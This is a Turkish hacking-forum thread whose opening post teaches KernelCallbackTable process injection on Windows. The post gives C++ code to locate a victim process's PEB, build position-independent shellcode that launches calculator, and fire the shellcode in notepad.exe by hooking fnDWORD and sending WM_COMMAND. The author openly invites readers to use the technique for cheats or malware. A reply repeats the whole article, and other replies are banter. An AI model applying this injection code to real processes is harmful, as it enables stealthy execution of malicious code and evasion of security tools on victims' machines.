Arbitrary Remote Process Code Execution Using KernelCallbackTable

hern0s

Uzman Üye
Katılım
3 Eyl 2024
Mesajlar
505
Beğeniler
234
Teknik Hakkında Bazı Bilgiler

Son zamanlarda kendi projelerimde kullanmak üzere yeni kod yürütme tekniklerini araştırıyordum ve KernelCallbackTable injection tekniğiyle karşılaştım.

Genellikle kötü amaçlı yazılım üretiminde kullanılan bu teknik, kendi kötü amaçlı shellcode'umuzu bir kurban programa inject etmemize ve bu programın kod akışını manipüle etmemize ve arka planda kendi kötü amaçlı kodlarımızı çalıştırmamıza olanak tanır.

Bu makalede, KernelCallbackTable'a nasıl erişeceğinizi ve onu nasıl manipüle edebileceğinizi göstereceğim.

Bu tekniği araştırdığımda, daha önce Lazarus ve FinSpy adlı kötü amaçlı yazılımlarda kullanıldığını gördüm.Ancak bu kadar kolay ve etkili bir tekniğin günümüzde nadiren kullanılmasına şaşırdım.


Artıları ve Eksileri

Artılar
Kullanımı kolay

Eksiler
KernelCallbackTable'ı manipüle için user32.dll, kurban programda halihazırda yüklü olmalıdır.

KernelCallbackTable, Process Environment Block'da (PEB) bulunabilir ve user32.dll yüklendiğinde maniplüle edebileceğimiz bir dizi GUI fonksiyonu barındırır.Bu fonksiyonların her biri kendine karşılık olarak gelen Pencere mesajları sayesinde tetiklenir.

Process Environment Block'a Bir Göz Atalım

C++:
struct _PEB64
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages:1;                                    //0x3
            UCHAR IsProtectedProcess:1;                                     //0x3
            UCHAR IsImageDynamicallyRelocated:1;                            //0x3
            UCHAR SkipPatchingUser32Forwarders:1;                           //0x3
            UCHAR IsPackagedProcess:1;                                      //0x3
            UCHAR IsAppContainer:1;                                         //0x3
            UCHAR IsProtectedProcessLight:1;                                //0x3
            UCHAR IsLongPathAwareProcess:1;                                 //0x3
        };
    };
    UCHAR Padding0[4];                                                      //0x4
    ULONGLONG Mutant;                                                       //0x8
    ULONGLONG ImageBaseAddress;                                             //0x10
    ULONGLONG Ldr;                                                          //0x18
    ULONGLONG ProcessParameters;                                            //0x20
    ULONGLONG SubSystemData;                                                //0x28
    ULONGLONG ProcessHeap;                                                  //0x30
    ULONGLONG FastPebLock;                                                  //0x38
    ULONGLONG AtlThunkSListPtr;                                             //0x40
    ULONGLONG IFEOKey;                                                      //0x48
    union
    {
        ULONG CrossProcessFlags;                                            //0x50
        struct
        {
            ULONG ProcessInJob:1;                                           //0x50
            ULONG ProcessInitializing:1;                                    //0x50
            ULONG ProcessUsingVEH:1;                                        //0x50
            ULONG ProcessUsingVCH:1;                                        //0x50
            ULONG ProcessUsingFTH:1;                                        //0x50
            ULONG ProcessPreviouslyThrottled:1;                             //0x50
            ULONG ProcessCurrentlyThrottled:1;                              //0x50
            ULONG ProcessImagesHotPatched:1;                                //0x50
            ULONG ReservedBits0:24;                                         //0x50
        };
    };
    UCHAR Padding1[4];                                                      //0x54
    union
    {
        ULONGLONG KernelCallbackTable;                                      //0x58
        ULONGLONG UserSharedInfoPtr;                                        //0x58
    };

    // Kesildi

Vergilius'a göre KernelCallbackTable, PEB + 0x58 konumunda bulunur.Bu tablo bize manipule edebileceğimiz herhangi bir grafik fonksiyonları dizisi sağlar. Bu fonksiyonlar, karşılık gelen mesajları işlendikten sonra çağırılır.

Örneğin PoC'mde bu dizi içindeki fnDWORD fonksiyonunu hedefleyeceğim. fnDWORD, genellikle ileti parametrelerinin bir parçası olarak bir DWORD değeri geçiren veya gerektiren iletileri işlemek için kullanılır. Birçok Windows iletisi DWORD değerlerini içerir veya bunlara dayanır. Örneğin, WM_GETTEXTLENGTH, WM_COMMAND ve diğerleri gibi iletiler, WPARAM veya LPARAM'da parametrelerinin bir parçası olarak DWORD kullanır veya bekler. WM_COMMAND iletisinin WPARAM'ı 2 WORD parçasına bölündüğü için MSDN'ye göre WPARAM bir DWORD değeri olarak değerlendirilebileceğinden WM_COMMAND iletisini kullanacağım. MSDN sayfasına bakarsanız daha detaylı görebilirsiniz

Konsept

Konseptimde notepad.exe'yi hedefleyeceğim. Önce PROCESS_ALL_ACCESS ile kurban işlemine bir handle açacağım ve bu handle ile NtQueryInformationProcess'i çağırarak PROCESS_BASIC_INFORMATION yapısından PEB adresini alacağım. Bu PEB yapısından KernelCallbackTable'ı alacağım ve bu tabloda fnDWORD olan 3. fonksiyonu hooklayacağım. Daha sonra WM_COMMAND iletisi kurban program penceresine işlendiğinde kurban programında fnDWORD'ü tetikleyecek ve bu da daha sonra bizim shellcode'umuzu çalıştıracak.

Shellcode


Shellcode'um CreateProcessA'yı çağırmaktan ve calculator.exe'yi başlatmaktan sorumlu. Shellcode'umu işleme şeklimi seviyorum çünkü bu yol ile uzak bir hedefte bir shellcode yürütmenin ve maplamanın daha temiz ve daha güvenilir bir yol olduğunu düşünüyorum. Ancak, parametreleri doğrudan fonksiyona geçiremezsiniz. Ayrıca parametreleri hedef programa maplamalı ve bunları fonksiyona erişilebilir hale getirmelisiniz, tıpkı benim konseptimde yaptığım gibi.

C++:
#pragma pack(push, 1)
struct shellcode_args {
    char calculator_path[60];
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    PVOID create_process;
    PVOID wait_for_single_object;
    PVOID closehandle;
    BOOL completed = FALSE;
};
#pragma pack(pop)

#pragma runtime_checks( "", off )
#pragma optimize( "", off )
void shellcode() {
    shellcode_args* args = (shellcode_args*)0xF1F1F1F1F1F1F1F1;

    LPCSTR calculatorPath = args->calculator_path;
    create_process_template f1 = create_process_template(args->create_process);
    wait_for_single_object_template f2 = wait_for_single_object_template(args->wait_for_single_object);
    closehandle_template f3 = closehandle_template(args->closehandle);

    f1(calculatorPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &args->si, &args->pi);

    f2(args->pi.hProcess, INFINITE);
    args->completed = TRUE;
    f3(args->pi.hProcess);
    f3(args->pi.hThread);
    return;
};
void shellcode_end() {  };
#pragma runtime_checks( "", on )
#pragma optimize( "", on )

Hedef Programın PEB Adresini Alma
Bunu Windows API'si NtQueryInformationProcess'i çağırarak yapabileceğiniz için çantada keklik olduğunu düşünüyorum.

C++:
DWORD64 GetRemotePEB(HANDLE handle) {
    HMODULE hNTDLL = GetModuleHandleA("ntdll.dll");

    if (!hNTDLL)
        return 0;

    FARPROC fpNtQueryInformationProcess = GetProcAddress
    (
        hNTDLL,
        "NtQueryInformationProcess"
    );

    if (!fpNtQueryInformationProcess)
        return 0;

    NtQueryInformationProcess ntQueryInformationProcess =
        (NtQueryInformationProcess)fpNtQueryInformationProcess;

    PROCESS_BASIC_INFORMATION* pBasicInfo =
        new PROCESS_BASIC_INFORMATION();

    DWORD dwReturnLength = 0;

    ntQueryInformationProcess
    (
        handle,
        0,
        pBasicInfo,
        sizeof(PROCESS_BASIC_INFORMATION),
        &dwReturnLength
    );

    return DWORD64(pBasicInfo->PebBaseAddress);
}

Program Penceresine Mesaj Gönderme
Makalemde de belirttiğim gibi, fnDWORD fonksiyonunu KernelCallbackTable'dan alıp wParam'ı DWORD olarak değerlendirilebileceğinden WM_COMMAND tipinde bir mesaj göndereceğim, bu da daha sonra hedef programda shellcode'umuzu tetikleyecek.

C++:
DWORD victim_pid{ NULL };

inline BOOL CALLBACK EnumWindowFunc(HWND hwnd, LPARAM param)
{
    DWORD pid = 0;
    GetWindowThreadProcessId(hwnd, &pid);
    if (pid == victim_pid)
    {
        SendMessageTimeoutW(hwnd, WM_COMMAND, 0, 0, SMTO_NORMAL, 1, nullptr);
        return FALSE;
    }
    return TRUE;
}

Fullcode

Öncelikle uzak PEB adresini alıyorum ve shellcode_end adresinden shellcode adresini çıkararak shellcode uzunluğunu hesaplıyorum.

Doğru shellcode uzunluğunu elde etmek için Tüm Program Optimizasyonu kapatılmalıdır, Çünkü derleyiciler optimizasyon nedeniyle fonksiyon konumunu kaydırabilir.

Daha sonra shellcode'umu, hedef programa yazdığım argümanları okuma yeteneği kazandırmak için değiştiririm.Ayrıca argümanları ve fonksiyon adreslerini neden hedef programa yazdığımı merak ediyor olabilirsiniz. Assembly dilinde, değişken ve fonksiyon adresleri RIP işaretçisine bağımlı olabilir, yani hedef işlemde aynı olmazlardı, bu da yanlış fonksiyon adreslerine ve nihayetinde bir çökmeye yol açardı. Bu, local fonksiyon değişkenleri ve argümanları için de geçerlidir.

Bu sorunu,shellcode'umuzu değiştirerek ve bunun yerine mapladığımız argümanlarımızın/değişkenlerimizin adreslerini hedef fonksiyona geçirerek aşıyoruz.

Daha sonra, hedef programda fnDWORD'ü çağıran ve son olarak KernelCallbackTable'daki pointerini manipüle ettiğimiz için shellcode'umuzu çalıştıran bir WM_COMMAND iletisini tetikleriz.

Shellcode'umuz çalıştırıldığında, verilen parametrelerle CreateProcessA'yı çağırır ve ardından işin bittiğini belirtmek için args.completed'ı TRUE olarak ayarlar. Böylece uzak programda işlemin bitip bitmediğini anlayıp sonrasında hijacklediğimiz pointeri eski haline geri getirebiliriz.

Tam kod
Kodu buraya atmaya çalıştığımda 15000 limit uyarısı verdi. Makalenin orjinalini görmek ve dev bloguma bakmak isterseniz makelemin orjinal halini dev blogumda görebilirsiniz.

Makalenin Orjinal Hali


Çalıştırma Kanıtı

poLphWr.gif


Sonuç
Size göstermek istediğim şey buydu. Farklı fikirler ortaya attığınızda her zaman bir güvenlik açığı vardır. Sadece alışılmışın dışında düşünün ve zincirlerinizi kırın. Yukarıda gösterdiğim kod yürütme güvenlik açığını istediğiniz her şeyi yapmak için kullanabilirsiniz. Sevdiğiniz bir oyun için bir injector yapabilir veya bir kötü amaçlı yazılım yapabilirsiniz.Şimdilik hepsi bu. Bir sonraki makalemde görüşmek üzere 👋
 
Son düzenleme:
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
aynen öyle 👏
 
Teknik Hakkında Bazı Bilgiler

Son zamanlarda kendi projelerimde kullanmak üzere yeni kod yürütme tekniklerini araştırıyordum ve KernelCallbackTable injection tekniğiyle karşılaştım.

Genellikle kötü amaçlı yazılım üretiminde kullanılan bu teknik, kendi kötü amaçlı shellcode'umuzu bir kurban programa inject etmemize ve bu programın kod akışını manipüle etmemize ve arka planda kendi kötü amaçlı kodlarımızı çalıştırmamıza olanak tanır.

Bu makalede, KernelCallbackTable'a nasıl erişeceğinizi ve onu nasıl manipüle edebileceğinizi göstereceğim.

Bu tekniği araştırdığımda, daha önce Lazarus ve FinSpy adlı kötü amaçlı yazılımlarda kullanıldığını gördüm.Ancak bu kadar kolay ve etkili bir tekniğin günümüzde nadiren kullanılmasına şaşırdım.


Artıları ve Eksileri

Artılar
Kullanımı kolay

Eksiler
KernelCallbackTable'ı manipüle için user32.dll, kurban programda halihazırda yüklü olmalıdır.

KernelCallbackTable, Process Environment Block'da (PEB) bulunabilir ve user32.dll yüklendiğinde maniplüle edebileceğimiz bir dizi GUI fonksiyonu barındırır.Bu fonksiyonların her biri kendine karşılık olarak gelen Pencere mesajları sayesinde tetiklenir.

Process Environment Block'a Bir Göz Atalım

C++:
struct _PEB64
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages:1;                                    //0x3
            UCHAR IsProtectedProcess:1;                                     //0x3
            UCHAR IsImageDynamicallyRelocated:1;                            //0x3
            UCHAR SkipPatchingUser32Forwarders:1;                           //0x3
            UCHAR IsPackagedProcess:1;                                      //0x3
            UCHAR IsAppContainer:1;                                         //0x3
            UCHAR IsProtectedProcessLight:1;                                //0x3
            UCHAR IsLongPathAwareProcess:1;                                 //0x3
        };
    };
    UCHAR Padding0[4];                                                      //0x4
    ULONGLONG Mutant;                                                       //0x8
    ULONGLONG ImageBaseAddress;                                             //0x10
    ULONGLONG Ldr;                                                          //0x18
    ULONGLONG ProcessParameters;                                            //0x20
    ULONGLONG SubSystemData;                                                //0x28
    ULONGLONG ProcessHeap;                                                  //0x30
    ULONGLONG FastPebLock;                                                  //0x38
    ULONGLONG AtlThunkSListPtr;                                             //0x40
    ULONGLONG IFEOKey;                                                      //0x48
    union
    {
        ULONG CrossProcessFlags;                                            //0x50
        struct
        {
            ULONG ProcessInJob:1;                                           //0x50
            ULONG ProcessInitializing:1;                                    //0x50
            ULONG ProcessUsingVEH:1;                                        //0x50
            ULONG ProcessUsingVCH:1;                                        //0x50
            ULONG ProcessUsingFTH:1;                                        //0x50
            ULONG ProcessPreviouslyThrottled:1;                             //0x50
            ULONG ProcessCurrentlyThrottled:1;                              //0x50
            ULONG ProcessImagesHotPatched:1;                                //0x50
            ULONG ReservedBits0:24;                                         //0x50
        };
    };
    UCHAR Padding1[4];                                                      //0x54
    union
    {
        ULONGLONG KernelCallbackTable;                                      //0x58
        ULONGLONG UserSharedInfoPtr;                                        //0x58
    };

    // Kesildi

Vergilius'a göre KernelCallbackTable, PEB + 0x58 konumunda bulunur.Bu tablo bize manipule edebileceğimiz herhangi bir grafik fonksiyonları dizisi sağlar. Bu fonksiyonlar, karşılık gelen mesajları işlendikten sonra çağırılır.

Örneğin PoC'mde bu dizi içindeki fnDWORD fonksiyonunu hedefleyeceğim. fnDWORD, genellikle ileti parametrelerinin bir parçası olarak bir DWORD değeri geçiren veya gerektiren iletileri işlemek için kullanılır. Birçok Windows iletisi DWORD değerlerini içerir veya bunlara dayanır. Örneğin, WM_GETTEXTLENGTH, WM_COMMAND ve diğerleri gibi iletiler, WPARAM veya LPARAM'da parametrelerinin bir parçası olarak DWORD kullanır veya bekler. WM_COMMAND iletisinin WPARAM'ı 2 WORD parçasına bölündüğü için MSDN'ye göre WPARAM bir DWORD değeri olarak değerlendirilebileceğinden WM_COMMAND iletisini kullanacağım. MSDN sayfasına bakarsanız daha detaylı görebilirsiniz

Konsept

Konseptimde notepad.exe'yi hedefleyeceğim. Önce PROCESS_ALL_ACCESS ile kurban işlemine bir handle açacağım ve bu handle ile NtQueryInformationProcess'i çağırarak PROCESS_BASIC_INFORMATION yapısından PEB adresini alacağım. Bu PEB yapısından KernelCallbackTable'ı alacağım ve bu tabloda fnDWORD olan 3. fonksiyonu hooklayacağım. Daha sonra WM_COMMAND iletisi kurban program penceresine işlendiğinde kurban programında fnDWORD'ü tetikleyecek ve bu da daha sonra bizim shellcode'umuzu çalıştıracak.

Shellcode


Shellcode'um CreateProcessA'yı çağırmaktan ve calculator.exe'yi başlatmaktan sorumlu. Shellcode'umu işleme şeklimi seviyorum çünkü bu yol ile uzak bir hedefte bir shellcode yürütmenin ve maplamanın daha temiz ve daha güvenilir bir yol olduğunu düşünüyorum. Ancak, parametreleri doğrudan fonksiyona geçiremezsiniz. Ayrıca parametreleri hedef programa maplamalı ve bunları fonksiyona erişilebilir hale getirmelisiniz, tıpkı benim konseptimde yaptığım gibi.

C++:
#pragma pack(push, 1)
struct shellcode_args {
    char calculator_path[60];
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    PVOID create_process;
    PVOID wait_for_single_object;
    PVOID closehandle;
    BOOL completed = FALSE;
};
#pragma pack(pop)

#pragma runtime_checks( "", off )
#pragma optimize( "", off )
void shellcode() {
    shellcode_args* args = (shellcode_args*)0xF1F1F1F1F1F1F1F1;

    LPCSTR calculatorPath = args->calculator_path;
    create_process_template f1 = create_process_template(args->create_process);
    wait_for_single_object_template f2 = wait_for_single_object_template(args->wait_for_single_object);
    closehandle_template f3 = closehandle_template(args->closehandle);

    f1(calculatorPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &args->si, &args->pi);

    f2(args->pi.hProcess, INFINITE);
    args->completed = TRUE;
    f3(args->pi.hProcess);
    f3(args->pi.hThread);
    return;
};
void shellcode_end() {  };
#pragma runtime_checks( "", on )
#pragma optimize( "", on )

Hedef Programın PEB Adresini Alma
Bunu Windows API'si NtQueryInformationProcess'i çağırarak yapabileceğiniz için çantada keklik olduğunu düşünüyorum.

C++:
DWORD64 GetRemotePEB(HANDLE handle) {
    HMODULE hNTDLL = GetModuleHandleA("ntdll.dll");

    if (!hNTDLL)
        return 0;

    FARPROC fpNtQueryInformationProcess = GetProcAddress
    (
        hNTDLL,
        "NtQueryInformationProcess"
    );

    if (!fpNtQueryInformationProcess)
        return 0;

    NtQueryInformationProcess ntQueryInformationProcess =
        (NtQueryInformationProcess)fpNtQueryInformationProcess;

    PROCESS_BASIC_INFORMATION* pBasicInfo =
        new PROCESS_BASIC_INFORMATION();

    DWORD dwReturnLength = 0;

    ntQueryInformationProcess
    (
        handle,
        0,
        pBasicInfo,
        sizeof(PROCESS_BASIC_INFORMATION),
        &dwReturnLength
    );

    return DWORD64(pBasicInfo->PebBaseAddress);
}

Program Penceresine Mesaj Gönderme
Makalemde de belirttiğim gibi, fnDWORD fonksiyonunu KernelCallbackTable'dan alıp wParam'ı DWORD olarak değerlendirilebileceğinden WM_COMMAND tipinde bir mesaj göndereceğim, bu da daha sonra hedef programda shellcode'umuzu tetikleyecek.

C++:
DWORD victim_pid{ NULL };

inline BOOL CALLBACK EnumWindowFunc(HWND hwnd, LPARAM param)
{
    DWORD pid = 0;
    GetWindowThreadProcessId(hwnd, &pid);
    if (pid == victim_pid)
    {
        SendMessageTimeoutW(hwnd, WM_COMMAND, 0, 0, SMTO_NORMAL, 1, nullptr);
        return FALSE;
    }
    return TRUE;
}

Fullcode

Öncelikle uzak PEB adresini alıyorum ve shellcode_end adresinden shellcode adresini çıkararak shellcode uzunluğunu hesaplıyorum.

Doğru shellcode uzunluğunu elde etmek için Tüm Program Optimizasyonu kapatılmalıdır, Çünkü derleyiciler optimizasyon nedeniyle fonksiyon konumunu kaydırabilir.

Daha sonra shellcode'umu, hedef programa yazdığım argümanları okuma yeteneği kazandırmak için değiştiririm.Ayrıca argümanları ve fonksiyon adreslerini neden hedef programa yazdığımı merak ediyor olabilirsiniz. Assembly dilinde, değişken ve fonksiyon adresleri RIP işaretçisine bağımlı olabilir, yani hedef işlemde aynı olmazlardı, bu da yanlış fonksiyon adreslerine ve nihayetinde bir çökmeye yol açardı. Bu, local fonksiyon değişkenleri ve argümanları için de geçerlidir.

Bu sorunu,shellcode'umuzu değiştirerek ve bunun yerine mapladığımız argümanlarımızın/değişkenlerimizin adreslerini hedef fonksiyona geçirerek aşıyoruz.

Daha sonra, hedef programda fnDWORD'ü çağıran ve son olarak KernelCallbackTable'daki pointerini manipüle ettiğimiz için shellcode'umuzu çalıştıran bir WM_COMMAND iletisini tetikleriz.

Shellcode'umuz çalıştırıldığında, verilen parametrelerle CreateProcessA'yı çağırır ve ardından işin bittiğini belirtmek için args.completed'ı TRUE olarak ayarlar. Böylece uzak programda işlemin bitip bitmediğini anlayıp sonrasında hijacklediğimiz pointeri eski haline geri getirebiliriz.

Tam kod
Kodu buraya atmaya çalıştığımda 15000 limit uyarısı verdi. Makalenin orjinalini görmek ve dev bloguma bakmak isterseniz makelemin orjinal halini dev blogumda görebilirsiniz.

Makalenin Orjinal Hali


Çalıştırma Kanıtı

poLphWr.gif


Sonuç
Size göstermek istediğim şey buydu. Farklı fikirler ortaya attığınızda her zaman bir güvenlik açığı vardır. Sadece alışılmışın dışında düşünün ve zincirlerinizi kırın. Yukarıda gösterdiğim kod yürütme güvenlik açığını istediğiniz her şeyi yapmak için kullanabilirsiniz. Sevdiğiniz bir oyun için bir injector yapabilir veya bir kötü amaçlı yazılım yapabilirsiniz.Şimdilik hepsi bu. Bir sonraki makalemde görüşmek üzere 👋
yabancılar yapıyo ya
 
şaka bir yana türkiyeden böyle insanları görmek güzel, osura osura blok oyunu hilesi pastelemekten iyidir.

@hern0s paylaşım için teşekkür ederiz.
bende paylaşıyorum yorum bile almıyo amk ayrıca paylaştığı içeriği 1 yıl önce 7.katman kanalında paylaşılmıştı
 

  Şuanda konuyu görüntüleyen kullanıcılar


Üst Alt